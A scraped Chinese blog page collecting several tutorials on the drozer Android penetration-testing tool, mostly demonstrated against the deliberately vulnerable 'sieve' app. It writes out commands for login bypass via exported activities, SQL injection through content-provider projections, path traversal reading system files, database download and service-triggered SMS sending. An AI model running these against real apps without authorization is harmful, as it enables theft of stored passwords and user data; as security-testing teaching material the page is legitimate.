精华内容
下载资源
问答
  • 目录drozer下载drozer安装drozer使用建立手机端和PC端的连接确定攻击面测试activities exported (容易绕过登陆验证)测试 content provider(易造成数据库泄露,sql注入等问题)利用暴露的content provider进行sql注入...

    drozer下载

    下载链接:drozer

    drozer安装

    下载软件并解压,进入解压目录点击setup.exe,按照提示安装完成,默认安装在C盘下;
    传送agent.apk到手机上并安装。
    在这里插入图片描述

    sieve(drozer测试程序)

    下载链接:sieve
    介绍:sieve是一款小型密码管理软件,包含了常见的安卓应用漏洞,可以作为drozer练习的测试对象。
    使用:当sieve首次启动时,它要求用户设置一个16个字符的“主密码”和一个用于保护用户稍后输入的密码的4位pin。用户可以使用sieve存储各种服务的密码,如果需要正确的凭证,可以在稍后的数据中检索这些密码。

    drozer使用

    建立手机端和PC端的连接

    1、手机端打开drozer agent,并打开Embedded Server。
    在这里插入图片描述2、PC端通过ADB设置转发端口。
    在这里插入图片描述
    3、PC端dos下进入drozer安装目录,执行命令,与手机端drozer agent成功建立连接。
    在这里插入图片描述
    注意事项
    如果报错“could not find java…”
    建立名为 .drozer_config的文件,文件中添加如下内容:
    [executables]
    java=D:\Java\jdk1.7.0_65\bin\java.exe
    javac=D:\Java\jdk1.7.0_65\bin\javac.exe
    即java和javac的路径,保存后存放到C:\Users\XXX\ 目录下,其中XXX为当前用户名目录下,之后重新连接成功

    确定攻击面

    dz> run app.package.list //列出安装的所有应用包名
    dz> run app.package.list -f sieve //搜索特定的包名
    在这里插入图片描述
    dz> run app.package.info -a com.mwr.example.sieve //查看应用的信息
    在这里插入图片描述

    dz> run app.package.attacksurface com.mwr.example.sieve //识别攻击面
    在这里插入图片描述

    测试activities exported (容易绕过登陆验证)

    dz> run app.activity.info -a com.mwr.example.sieve //显示暴露的Activity信息
    在这里插入图片描述

    dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //该命令会生成一个合适的intent来启动activity
    在这里插入图片描述
    手机端查看sieve软件,不需要登录验证,就可以进入系统。
    在这里插入图片描述

    测试 content provider(易造成数据库泄露,sql注入等问题)

    dz> run app.provider.info -a com.mwr.example.sieve //列举Content Provider的信息
    在这里插入图片描述

    dz> run app.provider.finduri com.mwr.example.sieve //枚举uri
    在这里插入图片描述

    dz> run scanner.provider.finduris -a com.mwr.example.sieve //使用扫描器枚举uri
    在这里插入图片描述

    dz> run scanner.provider.injection -a com.mwr.example.sieve //检测可利用uri,检查sql注入
    在这里插入图片描述

    现在可以使用其他drozer模块从这些内容URI中检索信息,甚至可以修改数据库中的数据

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ //获取数据库数据(即为之前保存的密码,邮箱信息)
    在这里插入图片描述

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical //竖直显示数据库数据
    在这里插入图片描述

    利用暴露的content provider进行sql注入

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “’” //数据库返回错误信息,和sql查询语句,再进行构造,从而查询自己想要获取的数据库信息
    在这里插入图片描述

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection “’”
    在这里插入图片描述

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table’;-- " //使用Sql注入列出数据库中的所有数据表
    在这里插入图片描述

    在这里插入图片描述

    从File System-backed Content Providers获取信息

    dz> run scanner.provider.traversal -a com.mwr.example.sieve //检测 目录遍历
    在这里插入图片描述

    dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //遍历目录
    在这里插入图片描述

    dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/database/database.db /home/user/database.db 下载指定文件到指定目录(windows下不建议指定目录,会有问题,直接下到drozer的主目录下)
    在这里插入图片描述

    测试services exported (权限提升)

    run app.service.info -a com.android.nsf //获取 service 详情

    run app.service.send com.adnroid.nsf com.igexin.sdk.PushServiceUser --msg 1 2 3 //访

    run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

    测试broadcast receivers exported(拒绝服务)

    run app.broadcast.info -a com.android.nsf //获取broadcast receivers信息

    展开全文
  • 下载,并安装。 pip安装即可,安装完成后可能会出现缺少twisted依赖库的问题 ➜ vul git:(master) ✗ drozer console connect drozer Server requires Twisted to run. ...Run 'pip install twisted' to fetch ...

    下载,并安装。

    pip安装即可,安装完成后可能会出现缺少twisted依赖库的问题

    ➜  vul git:(master) ✗ drozer console connect
    drozer Server requires Twisted to run.
    Run 'pip install twisted' to fetch this dependency.
    

    安装twisted时,出现一片红,需要--user指定用户。

    本地安装好drozer环境后,客户端也需要安装一个agent负责监听处理

    下载链接:https://labs.mwrinfosecurity.com/tools/drozer/,最新版文件名为drozer-agent-2.3.4.apk

    adb连接模拟器

    ➜  vul git:(master) ✗ adb connect 127.0.0.1:62001
    \adb server version (32) doesn't match this client (39); killing...
    * daemon started successfully
    connected to 127.0.0.1:62001
    

    推送安装drozer-agent-2.3.4.apk

    ➜  vul git:(master) ✗ adb install ~/Desktop/drozer-agent-2.3.4.apk
    /Users/wq/Desktop/drozer-agent-2.3.4.apk: 1...e pushed. 6.5 MB/s (633111 bytes in 0.093s)
    	pkg: /data/local/tmp/drozer-agent-2.3.4.apk
    Success
    

    开启端口映射,使模拟器启动时开启一个端口连接本地drozer服务端

    ➜  vul git:(master) ✗ adb forward tcp:31415 tcp:31415
    

    然后在模拟器上启动drozer,并开启监听模式

    命令行启动drozer,开启连接

    ➜  vul git:(master) ✗ drozer console connect
    :0: UserWarning: You do not have a working installation of the service_identity module: 'No module named service_identity'.  Please install it from <https://pypi.python.org/pypi/service_identity> and make sure all of its dependencies are satisfied.  Without the service_identity module, Twisted can perform only rudimentary TLS client hostname verification.  Many valid certificate/hostname mappings may be rejected.
    Selecting 9ACA331490420000 (OPPO OPPO A33m 4.4.2)
    
                ..                    ..:.
               ..o..                  .r..
                ..a..  . ....... .  ..nd
                  ro..idsnemesisand..pr
                  .otectorandroidsneme.
               .,sisandprotectorandroids+.
             ..nemesisandprotectorandroidsn:.
            .emesisandprotectorandroidsnemes..
          ..isandp,..,rotectorandro,..,idsnem.
          .isisandp..rotectorandroid..snemisis.
          ,andprotectorandroidsnemisisandprotec.
         .torandroidsnemesisandprotectorandroid.
         .snemisisandprotectorandroidsnemesisan:
         .dprotectorandroidsnemesisandprotector.
    
    drozer Console (v2.4.3)
    dz>
    

      准备工作完成。

     1、内容供应器泄露

    检测方法:反编译后,cat AndroidManifest.xml|grep -R 'content://'

    修复方案:在创建内容供应器时指定参数android:exported = false

    2、不安全的文件存储

    检测方法:进入adb shell,执行find命令找出权限存在问题的文件

    修复方案:权限控制,指定文件的正确文件权限,禁止全局可读,并且不能由任何其它应用程序不需任何权限访问

    3、目录遍历或本地文件包含漏洞

    检测方法:dz针对内容供应器 URI进行app.provider.read方法,拼接../../../../../etc/hosts或proc/cpu

    修复方法:控制权限

    4、客户端注入攻击

    检测方法:

    获取所有uri:run scanner.provider.injection -a 包名

    dz>  run scanner.provider.injection -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Not Vulnerable:
      content://com.mwr.example.sieve.DBContentProvider/Keys
      content://com.mwr.example.sieve.DBContentProvider/
      content://com.mwr.example.sieve.FileBackupProvider/
      content://com.mwr.example.sieve.DBContentProvider
      content://com.mwr.example.sieve.FileBackupProvider
    
    Injection in Projection:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
    
    Injection in Selection:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
    

    进行注入:run app.provider.query [Content Provider URI] --projection "* FROM SQLITE_MASTER WHERE type='table';- -",或者直接 "* FROM Key;--" 获取某个表的数据。

     

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
    | type  | name             | tbl_name         | rootpage | sql                                                                                              |
    | table | android_metadata | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)                                                      |
    | table | Passwords        | Passwords        | 4        | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
    | table | Key              | Key              | 5        | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )                                           |
    

     

    Activity安全问题

    查看exported的activity,除了MainLoginActivity是启动主界面,其他两个activity不能被exported

    dz> run app.activity.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
      com.mwr.example.sieve.FileSelectActivity
        Permission: null
      com.mwr.example.sieve.MainLoginActivity
        Permission: null
      com.mwr.example.sieve.PWList
        Permission: null
    

    启动其中一个activity如PWList

    dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
    

    可能存在问题:

    1、拒绝服务

    当permission=null时,意味着其他应用无须权限就可以调用这些activity。同时,如果activity的调用是需要参数的,那么在调用时不带上参数就会因为输入异常导致应用崩溃了,这样就造成了本地拒绝服务。

    2、越权访问

    绕过流程执行到敏感步骤或者敏感数据

     

    Service安全问题

    权限提升

    dz> run app.service.start --action com.mwr.example.sieve.CryptoService.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
    

     

    ################################################

    命令大全:

    list或ls 查看可用模块 
    run app.package.list  查看程序安装包  
    run app.package.info -a com.example.myapp  查看程序包信息  
    run app.package.attacksurface com.example.myapp  查看项目对外exported的组件 
    run app.activity.info -a com.example.myapp  查看对外activity的信息  
    run app.service.info -a com.example.myapp  查看对外service的信息  
    run app.broadcast.info -a com.example.myapp  查看对外broadcast的信息  
    run app.provider.info -a com.example.myapp  查看对外provider的信息  
    
    run app.activity.start --component com.example.myapp com.example.MainActivity 尝试启动MainActivity  
    run scanner.provider.finduris -a com.example.myapp 探测出可以查询的URI  
    run app.provider.query content://***/ -vertical  获取Uri的数据  
    run app.provider.insert URI对应数据表中的字段    对数据库表进行插入操作
     
    run app.provider.delete URI–-selection “条件” 对数据库表进行删除操作
    1.  
      Content Providers(SQL注入)
    2.  
      run app.provider.query content://***/ --projection "'"
    3.  
      run app.provider.query content://***/ --selection "'"
    1.  
      报错则说明存在SQL注入。
    2.  
      run app.provider.query content://***/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
    3.  
      获取某个表(如Key)中的数据:
    4.  
      run app.provider.query content://***/ --projection "* FROM Key;--"
    5.  
      同时检测SQL注入和目录遍历
    6.  
      run scanner.provider.injection -a com.example.myapp
    7.  
      run scanner.provider.traversal -a com.example.myapp
     参考链接:https://www.cnblogs.com/goodhacker/p/3906180.html

    转载于:https://www.cnblogs.com/co10rway/p/9447827.html

    展开全文
  • 本篇博客将介绍移动端渗透测试工具Drozer的安装以及使用方法,希望对做安服的小伙伴有所帮助。 【环境准备】 Python环境:Python 2.7 下载地址 Java环境 :jdk1.8 下载地址 安卓模拟器(逍遥或者 夜神模拟器)...

    【前言】

    本篇博客将介绍移动端渗透测试工具Drozer的安装以及使用方法,希望对做安服的小伙伴有所帮助。

    【环境准备】

    Python环境:Python 2.7   下载地址

    Java环境 :jdk1.8 下载地址

    安卓模拟器(逍遥或者 夜神模拟器)下载自行百度

    【工具准备】

    Drozer-2.4.4 下载地址

    Adb AndroidDebugBridge 下载地址

    adb agent (安装到手机或者模拟器) 下载地址

    【正文】

    0X1 创建连接

    使用adb工具建立手机或者安卓模拟器的连接

    命令:adb connect 127.0.0.1 端口

    (端口:itools:54001 夜神:62001 mumu:7555 逍遥:21503 雷神:5555)

    命令:adb shell

    执行到这一步,就实现了PC端和真实设备或者模拟器的交互,可以检查目录下是否存储敏感信息 等操作。
     

    0X2 安装drozer

    安装好python环境后,依次安装 python第三方库 protobuf、pyopenssl、pyyaml、twisted

    pip install 库名

    安装C++环境:Micorsoft Visual C++ Compiler for Python 2.7

    安装好以上环境后,打开已安装到手机或者模拟器的agent软件,并开启

    依次执行以下命令

    命令:adb forward tcp:31415 tcp:31415 (31415为dozer占用的端口号)

    进行端口转发

    再执行以下命令:drozer.bat console connect

    到这一步就执行成功了,drozer工具已成功运行。
     

    0X3 Drozer的常规使用

    1.检测四大组件安全  :

    run app.activity.info -a  <包名>
    
    run app.broadcast.info -a  <包名>
    
    run app.service.info -a  <包名>
    
    run app.provider.info -a  <包名>

     2.检测URI数据泄露风险:

      Drozer的scanner模块提供了一些方法去猜测可能存在的content URIs.

    run scanner.provider.finduris -a <包名>

     3.检测文件遍历漏洞 :

       Drozer的Scanner模块提供了一些方法去检测本地Content Provider数据是否有文件遍历漏洞风险的接口.     

    run scanner.provider.traversal -a <包名>

    4.检测是否存在本地sql注入:

       Drozer的Scanner模块提供了一些方法去检测本地储存的SQLite数据是否有SQL注入的风险. 

    run scanner.provider.injection -a <包名>

    0X4 敏感信息排查

    进入shell命令台

    data/data目录下 执行logcat | grep -i [包名]

     

     

     

     

     

    展开全文
  • 移动端渗透测试工具相比丰富的web端真的是少之又少,最近在做app的安全测试,用到了drozer,drozer的安装过程真的是太心酸了,中间报错了有6次才成功安装。。 一.环境准备 首先准备以下环境: Windows10 ...

    移动端渗透测试工具相比丰富的web端真的是少之又少,最近在做app的安全测试,用到了drozer,drozer的安装过程真的是太心酸了,中间报错了有6次才成功安装。。

    一.环境准备

    首先准备以下环境:

    二.创建连接

      1.首先用adb创建和你的手机或安卓模拟器的连接,adb具体使用方法见:https://jingyan.baidu.com/article/ce4366494962083773afd3d0.html
      然后使用adb将adb agent安装到手机   agent下载链接 https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk

      
      

      adb连接实现后,在手机端打开agent,将其开启

     

    三.配置pyhon2环境变量和安装各种支持的库 ,打开dozer

     

      这时你下载的dozer应该在python27\Scripts目录下

     

    打开cmd控制到 切到python27,目录下,先为python2 配置临时环境变量(因为我本身有python3的环境变量,所以便只配置临时的)

     

    set path=C:\Python27;C\Python27\Scripts;%path%

     

     随后在 dozer.bat 所在目录,使用命令dozer.bat console connect 打开dozer控制台

     

    四.排错(如果直接能启动无需看这一步)
      

    我这里打开后报错报错1:ImportError: No module named google.protobuf

     

    这里执行 pip install  protobuf

     

     

    然后又报错  2. You are using pip version 19.1, however version 19.2 is available.You should consider upgrading via the ‘python -m pip install –upgrade pip’ command.

     这里时pip版本低

       然后执行: python -m pip install –upgrade pip 再次报错。。随后在csdn上找到了解决办法,在管理员控制台执行该命令,实现pip的升级

     

     随后再次执行 pip install  protobuf 就能成功了

     

    报错3,还需要这两个库,都装上

      pip install pyopenssl

      pip install pyyaml

     

      再执行  drozer.bat console connect

     

     

      还没有结束,报错4,还需要 Twisted的依赖,那么再把Twisted库装上

      pip install Twisted

      然后执行失败一页红

      

      

      报错5,这里还需要C++环境,安装一个Micorsoft Visual C++ Compiler for Python 2.7 环境 链接: https://www.microsoft.com/en-us/download/confirmation.aspx?id=44266

     

      安装后再安装twisted库就可以了

      

      然后于愉快的打开dozer,发现还有错误??

      

      

      这里还需要要用adb端口转发一下  adb forward tcp:31415 tcp:31415  (31415为dozer占用的端口号)

       终于能打开了

      

     

     五. drozer使用

      可以用help ,list 查看使用方法和功能    

      我这里用到了drozer的几个功能简单测了下app

     

       1.检测四大组件安全  :

                run app.activity.info -a  <包名>

                run app.broadcast.info -a  <包名>

                run app.service.info -a  <包名>

                run app.provider.info -a  <包名>

     

      2.检测URI数据泄露风险

      Drozerscanner模块提供了一些方法去猜测可能存在的content URIs.

             run scanner.provider.finduris -a <包名>

     

       3.检测文件遍历漏洞 :

       Drozer的Scanner模块提供了一些方法去检测本地Content Provider数据是否有文件遍历漏洞风险的接口.

                run scanner.provider.traversal -a <包名>

     

      4.检测是否存在本地sql注入:

       Drozer的Scanner模块提供了一些方法去检测本地储存的SQLite数据是否有SQL注入的风险.

                run scanner.provider.injection -a <包名>

                



     

     

    转载于:https://www.cnblogs.com/zhaoyixiang/p/11236458.html

    展开全文
  • Lobotomy是一款运行在Python环境下的安卓系统评估工具包,它可以帮助安全研究人员评估不同Android逆向工程任务。Lobotomy的目标是打算给安全研究人员提供一个完善的审计平台,允许其在不退出该平台环境下,利用所...
  • java反编译泄露源码Awesome-Android-Security 目录 博客 怎么做 纸 图书 课程 工具 静态分析 动态分析 在线 APK 分析器 在线 APK 反编译器 实验室 会谈 杂项 漏洞赏金和报告 备忘单 清单 ...安卓测试
  • 网上看到渗透测试工具总结不错的文章,转发过来供大家一起学习,链接为: 以及 如有问题,请联系我! WebGoat漏洞练习环境 Damn Vulnerable Web Application(漏洞练习平台) 数据库注入练习平台 用node编写的漏洞练习...
  • 文章目录基础知识安卓系统目录结构组件基础APK目录结构ADB使用Drozer客户端安全测试反编译测试(脱壳与混淆)脱壳回编译测试本地敏感信息存储四大组件安全本地注入动/静态扫描安全的通信方式HOOK开源移动端扫描工具...
  • 安卓渗透神器dsploit笔记

    千次阅读 2014-12-20 15:13:59
    之前在freebuf上看到一篇文章Android网络渗透套件测试小记,于是对dsploit感兴趣了。虽然只是两年前的,但是metasploit也有十几年了啊,一个好的作品总会有欣赏他的人玩,毕竟强大~~~好了不多说。 因为安装dsploit...
  • 安卓锁机教程java源码令人敬畏的渗透测试 一组很棒的渗透测试资源 在线资源 渗透测试资源 - 免费的进攻性安全 Metasploit 课程 - 渗透测试执行标准 - 打开 Web 应用程序安全项目 - 面向渗透测试人员/研究人员的免费...
  • 五大反逆向技术: 代码混淆、针对不同逆向工具保护技术、增加逆向难度(java代码native化)、...删除无用Log:可删除调试和分析代码逻辑时的log,也可删除不使用的调试接口和测试环境 问题: 混淆错误:用到第三方j...
  • 本文档总结了安卓应用程序渗透测试的各种方法100多页,非常全面,适合不同基础的人阅读、学习。 Android APP 渗透测试方法大全 一、Android APP 渗透测试方法 二、工具使用 三、常用测试工具以及环境平台 四、...
  • 安卓黑客工具

    2016-05-19 17:15:00
    Hackode是最好用的黑客工具之一,它更像是一款工具箱,其功能可以满足许多人群的需求:如渗透测试人员,白帽子,IT管理员和网络安全专家等。目前它可以完成以下任务: 勘察(Reconnaissance),谷歌黑客(Google ...
  • 基础APP安全测试 姓名XXX 目录 CONTENTS 01 02 03 04 05 概述 APK渗 常用工具 实验 总结 透点 环境搭建 演示 概述 图12017年12月通过360显危镜检查的约1.8万款安卓主流APP应用中 发现了99.5%的安卓应用存在威胁风险...
  • 机顶盒(酒店,家用)渗透测试总结 0x01 写在前面 今天是劳动节的最后一天,劳动节几天给自己放个假,今天终于可以闲下来,记录一下以前给某移做的酒店机顶盒的渗透测试,机顶盒的渗透测试也给我提升了很多的思路,...
  • 移动端渗透测试工具相比丰富的web端真的是少之又少,最近在做app的安全测试,用到了drozer,一款快速识别apk风险点的渗透工具。准备工具Windows10 逍遥安卓模拟器 Pyt...
  • 黑客技术,曾被认为是专家的专有领域,但随着...借助于这些黑客工具,你就可以使用安卓手机来进行渗透测试和安全测试。在这些应用的帮助下,再加上一些对安卓手机能力的基本了解,你就能进入黑客的世界。 这里我们...

空空如也

空空如也

1 2 3 4
收藏数 62
精华内容 24
关键字:

安卓渗透测试工具